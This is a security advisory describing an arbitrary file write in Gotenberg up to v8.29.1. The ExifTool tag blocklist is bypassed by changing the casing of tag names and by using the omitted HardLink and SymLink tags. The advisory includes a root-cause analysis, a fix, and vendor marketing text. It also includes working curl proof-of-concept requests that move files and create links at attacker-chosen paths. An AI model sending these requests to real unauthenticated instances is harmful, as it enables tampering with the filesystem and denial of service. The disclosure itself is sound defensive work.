Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
HardLink: creates a hard link to the file at the specified pathSymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F [email protected] \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F [email protected] \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F [email protected] \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
Frequently Asked Questions
- What is GHSA-QMWH-9M9C-H36M? GHSA-QMWH-9M9C-H36M is a high-severity security vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.29.1. It is fixed in 8.30.0.
- Which versions of github.com/gotenberg/gotenberg/v8 are affected by GHSA-QMWH-9M9C-H36M? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.29.1 is affected.
- Is there a fix for GHSA-QMWH-9M9C-H36M? Yes. GHSA-QMWH-9M9C-H36M is fixed in 8.30.0. Upgrade to this version or later.
- Is GHSA-QMWH-9M9C-H36M exploitable, and should I be worried? Whether GHSA-QMWH-9M9C-H36M is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-QMWH-9M9C-H36M is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-QMWH-9M9C-H36M? Upgrade
github.com/gotenberg/gotenberg/v8to 8.30.0 or later.